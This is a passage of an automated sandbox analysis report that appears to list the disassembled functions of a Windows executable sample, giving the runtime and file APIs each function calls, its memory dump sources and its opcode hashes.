GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7B110DAEB), ref: 00007FF7B110DC1C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7B110DAEB), ref: 00007FF7B110DCA7

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 284863bd4a310ef6da540e9dcdc048057ff4d3a865a35ff47f01b15d00241537
Instruction ID: b2a3eb19470bde424ef39dff41ca2e061a3c1d7ef0be8f8a251e51fc3ad429c1
Opcode Fuzzy Hash: 284863bd4a310ef6da540e9dcdc048057ff4d3a865a35ff47f01b15d00241537
Instruction Fuzzy Hash: 3891D962E0865985FB50AF2DA4442BDABA0FB2678CFA44139DF0DD768CDFB8D441C720

Function 00007FF7B11102CC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7B11103BC
_get_daylight.LIBCMT ref: 00007FF7B11103CD
_get_daylight.LIBCMT ref: 00007FF7B11103DE
_isindst.LIBCMT ref: 00007FF7B11104A9

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 20717f0f8a23f829e42a50c12fade424b7597f0ff0c8303254556571f0db49b3
Instruction ID: d2f75bb8486a11420a9de43a1b89242434d4c8b4f406f2afe99b86f283359d49
Opcode Fuzzy Hash: 20717f0f8a23f829e42a50c12fade424b7597f0ff0c8303254556571f0db49b3
Instruction Fuzzy Hash: F5514972F046198AEB24EF2CA9822BCE765AB6135CF910135DF1E42ED9DF7CA451C700

Function 00007FF7B1105CE0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1105D0D
CreateFileW.KERNELBASE ref: 00007FF7B1105D4C
CloseHandle.KERNEL32 ref: 00007FF7B1105D81

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: aa1200e4450b811ef51af53757025c3530a17c13a58b8d92a8c5dd8a9775bf7a
Instruction ID: abeb23b870270e96e6c39f43b048857ef4b210a3f1b798e3776b500ba4681a15
Opcode Fuzzy Hash: aa1200e4450b811ef51af53757025c3530a17c13a58b8d92a8c5dd8a9775bf7a
Instruction Fuzzy Hash: C541C522D1878683F750AB24A548379E360FFA6758F609335E79C03AD9DFBCA5E18710

Function 00007FF7B10FC1BC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B10FC38C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7B10FC3A0

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7B10FC1E0
__scrt_release_startup_lock.LIBCMT ref: 00007FF7B10FC24E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7B10FC2A1

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 6f7f5303e9b22c034abd0ab4f6e45a615f00bbc4bee0f7f82c8393816be5d00e
Instruction ID: 08f30645f8312e4a1ccbe17cabdc1636e4b20d18ffaf8cd1343e3a759fc72d82
Opcode Fuzzy Hash: 6f7f5303e9b22c034abd0ab4f6e45a615f00bbc4bee0f7f82c8393816be5d00e
Instruction Fuzzy Hash: 04312811E0D24641EB54BB6DA6977B993519F7338CFC45434DB0E4B6DFDEACA5048220

Function 00007FF7B110A5A0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7B110A59C), ref: 00007FF7B110A5B1
TerminateProcess.KERNEL32(?,?,?,00007FF7B110A59C), ref: 00007FF7B110A5BC
ExitProcess.KERNEL32 ref: 00007FF7B110A5CB

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4ba61a3cc0556e7c92b6fc1e72a638e9c9ea62dc27ce852986ab15971a897a88
Instruction ID: 22f5f8de8829698b57a9a76934a125e01d22bd8617649a34f2afe086382bd9b0
Opcode Fuzzy Hash: 4ba61a3cc0556e7c92b6fc1e72a638e9c9ea62dc27ce852986ab15971a897a88
Instruction Fuzzy Hash: 2ED05E10F0960E82EB143B39384C17CC321AF7B748F901438CA0B0238BCEBDA81D4360

Function 00007FF7B10F8B70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE ref: 00007FF7B10F8BB0

Part of subcall function 00007FF7B10F2C30: MessageBoxW.USER32 ref: 00007FF7B10F2D05

Strings

Security descriptor is not initialized!, xrefs: 00007FF7B10F8B80

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: CreateDirectoryMessage
String ID: Security descriptor is not initialized!
API String ID: 73271072-986317556
Opcode ID: c8cf0510d3cf58293c8056e04266fc05212419b77e6f78cec61fc6e6c2a7edb1
Instruction ID: 0267318edfa85172d1857556a1820ac9e2ef3dd46fcb302106843821384b59cb
Opcode Fuzzy Hash: c8cf0510d3cf58293c8056e04266fc05212419b77e6f78cec61fc6e6c2a7edb1
Instruction Fuzzy Hash: 19E06DB1A18B4B86EB10AB18E845269A290BB62358FC01334E74C463E8EFBCD1198B00

Function 00007FF7B110085C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B11008A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B1100997

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b54b3d0524db6e35a6be9399f4168b0f839baac618e96e940c4dc5df63f75cb8
Instruction ID: 4733f30b7f2ad0fd43dfad645b51276027c09083cd86dcb33553348373d5fab5
Opcode Fuzzy Hash: b54b3d0524db6e35a6be9399f4168b0f839baac618e96e940c4dc5df63f75cb8
Instruction Fuzzy Hash: B451E621E0964985F724A92DA41867AE395FF56BECFA44331DF6D067CDCEBCD4408620

Function 00007FF7B110B6FC Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF7B110B579,?,?,00000000,00007FF7B110B62E), ref: 00007FF7B110B76A
GetLastError.KERNEL32(?,?,?,00007FF7B110B579,?,?,00000000,00007FF7B110B62E), ref: 00007FF7B110B774

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification
String ID:
API String ID: 1687624791-0
Opcode ID: e3b73f063bb60367d817196ec2a4f8f6eb52bee7e7896c4ceb0739ce7562b917
Instruction ID: 7f3f067a4b5c5df681ef5a08d47631c04d8fe901ec2273b0f2f462f8992806ef
Opcode Fuzzy Hash: e3b73f063bb60367d817196ec2a4f8f6eb52bee7e7896c4ceb0739ce7562b917
Instruction Fuzzy Hash: DA219514F08A4A41EF50772DB5882799393DFA6798FA88635DB1D473DDCEECA4844324

Function 00007FF7B110CCD4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7B110CE6D), ref: 00007FF7B110CD20
GetLastError.KERNEL32(?,?,?,?,?,00007FF7B110CE6D), ref: 00007FF7B110CD2A

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 62a26f8d1512d31d847f2a475d98554d5a752059faf1bb854899a2cf804e20f8
Instruction ID: 46ff5c7c32b98e411d10fefde1e51a0ea652cb39cb525cd821c42582bcb47c65
Opcode Fuzzy Hash: 62a26f8d1512d31d847f2a475d98554d5a752059faf1bb854899a2cf804e20f8
Instruction Fuzzy Hash: D611B261A18B4581DB10AB29B44826DE761EB96BF8FA44332EF7D077DDCEBCD0508750

Function 00007FF7B110869C Relevance: 3.0, APIs: 2, Instructions: 35timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7B1108519), ref: 00007FF7B11086BF
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7B1108519), ref: 00007FF7B11086D5

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 3f928a0497d734aaa543a8bc106b0ded184f8e5dbef2df712f99b41af6c17d4b
Instruction ID: 526f2a9f9632c21339e16e0a1ce341dddab54c49b5ac5e57eb3942a7b5abe0e2
Opcode Fuzzy Hash: 3f928a0497d734aaa543a8bc106b0ded184f8e5dbef2df712f99b41af6c17d4b
Instruction Fuzzy Hash: 90018232D0C659C2E754AB19B44527AF7A1FB92769FB00235E7A9019DCEBBCD010CB10

Function 00007FF7B110B4EC Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7B1113972,?,?,?,00007FF7B11139AF,?,?,00000000,00007FF7B1113E75,?,?,00000000,00007FF7B1113DA7), ref: 00007FF7B110B502
GetLastError.KERNEL32(?,?,?,00007FF7B1113972,?,?,?,00007FF7B11139AF,?,?,00000000,00007FF7B1113E75,?,?,00000000,00007FF7B1113DA7), ref: 00007FF7B110B50C

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: c6b9e98d984d24e8bfd8e8ff83776c8447130b112ec08e9122362d67c2677dc5
Instruction ID: b180a7b12baefcfd1c7d4d1963978d37c5a8013b613d615666d951e890446c30
Opcode Fuzzy Hash: c6b9e98d984d24e8bfd8e8ff83776c8447130b112ec08e9122362d67c2677dc5
Instruction Fuzzy Hash: 38E08654F0920A42FF047BBA7848174D352DFBB708FD44034EB0D46259EEAC69954230

Function 00007FF7B1108C88 Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE ref: 00007FF7B1108C8C
GetLastError.KERNEL32 ref: 00007FF7B1108C96

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 94f9cb437eb1ff87f9bc785627a082ceb46c643cc627e045b1becda1a3c124ee
Instruction ID: f2ccdabb737bf18c21bb44967e7000d9b1cb4ee0da90523aa4fb54783fa85fbb
Opcode Fuzzy Hash: 94f9cb437eb1ff87f9bc785627a082ceb46c643cc627e045b1becda1a3c124ee
Instruction Fuzzy Hash: 70D0C914E1E50B82E75837BE2C4D1B8E2A0AFA772DFF00630C21D811D8DEACA1954221

Function 00007FF7B1108404 Relevance: 3.0, APIs: 2, Instructions: 12COMMON

Download Yara Rule

APIs

RemoveDirectoryW.KERNELBASE ref: 00007FF7B1108408
GetLastError.KERNEL32 ref: 00007FF7B1108412

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 25cba87855c0571564d380caaddad194b65a7b1ee83bb0c7e49656b6643110b8
Instruction ID: 803192e1a22b579c28ddadc55bc4f1997d7a74f2ccd8c75ca458d558660e8d85
Opcode Fuzzy Hash: 25cba87855c0571564d380caaddad194b65a7b1ee83bb0c7e49656b6643110b8
Instruction Fuzzy Hash: 27D0C914E1D50B82E75437BE3889279A2909F77729FF20734C61DC01D9DEDCA1950221

Function 00007FF7B10F7D40 Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B10F8BD0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7B10F2A9B), ref: 00007FF7B10F8C0A

_findclose.LIBCMT ref: 00007FF7B10F7F99

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiWide_findclose
String ID:
API String ID: 2772937645-0
Opcode ID: f2eb7eeb8a75ce0ecdb705190dd43c37d981f86f995c6e102987c4b14f6ec9f8
Instruction ID: ab15f2e01f159de60baaf85e6c28c3efe47409953bd96aab62362e057b592349
Opcode Fuzzy Hash: f2eb7eeb8a75ce0ecdb705190dd43c37d981f86f995c6e102987c4b14f6ec9f8
Instruction Fuzzy Hash: F171BF53E18AC581EB11DB2CD5462FDA360F7A9B4CF95E321DB8C12596EF68E2D9C300

Function 00007FF7B110CA4C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B110CA74

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9bd69e230f0d3b0e5758ab1338c67e81032152045ba6d69f05b41d5745cc01d1
Instruction ID: e348ce3537d4ffd9ea303ea5e5a432102ad62f1b77e9ae18457d1f219ea1df6f
Opcode Fuzzy Hash: 9bd69e230f0d3b0e5758ab1338c67e81032152045ba6d69f05b41d5745cc01d1
Instruction Fuzzy Hash: E041D832D0464983EB24EA1DB545279B350FB67B98F640232D78E826D9CFACE442CB61

Function 00007FF7B10F82B0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7B10F835A

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 10c21e676c2fdd7a0020f06bdc09e795063deb41ee1ea4fa70822272de4cf310
Instruction ID: e99b3fbd56dc6bd72e37236201d965a4b0442569b88fe90ee52e2c43ffad23c0
Opcode Fuzzy Hash: 10c21e676c2fdd7a0020f06bdc09e795063deb41ee1ea4fa70822272de4cf310
Instruction Fuzzy Hash: 0F21A221B0C65646EB50BA1A64557FAE751FF56BD8FD88031EF0C077AACEBCE041C620

Function 00007FF7B110C4DC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7B110C562

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b8e14b5e39437f3a23779871e591f8317b8e1be46d6eca35f9beed21127490c6
Instruction ID: 6c8e9b8e34ade2738ac1937f85f24f6fe03155174ada88ef8228cf75e1ad7389
Opcode Fuzzy Hash: b8e14b5e39437f3a23779871e591f8317b8e1be46d6eca35f9beed21127490c6
Instruction Fuzzy Hash: BC31A361E1860A85E7507B1DA449378A750EBA6B9CFA10176EB1D073DACEFDE4418B30

Function 00007FF7B110A4D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7B110A4FF

Part of subcall function 00007FF7B110A5F8: GetModuleHandleExW.KERNEL32 ref: 00007FF7B110A61D
Part of subcall function 00007FF7B110A5F8: GetProcAddress.KERNEL32 ref: 00007FF7B110A633
Part of subcall function 00007FF7B110A5F8: FreeLibrary.KERNEL32 ref: 00007FF7B110A65A

Memory Dump Source

Source File: 00000000.00000002.1778735323.00007FF7B10F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7B10F0000, based on PE: true

Associated: 00000000.00000002.1778613110.00007FF7B10F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778850312.00007FF7B111C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B112F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1778973485.00007FF7B1131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1779212543.00007FF7B1133000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7b10f0000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 1e818ce3d7a60ac953b6edb356e5c611bf03bd3223dab8e8a1ec707a6cadd3f1
Instruction ID: 8716bd75c4873c5a78e106ef1e142109b700220e038555b421ecac7b2401a634
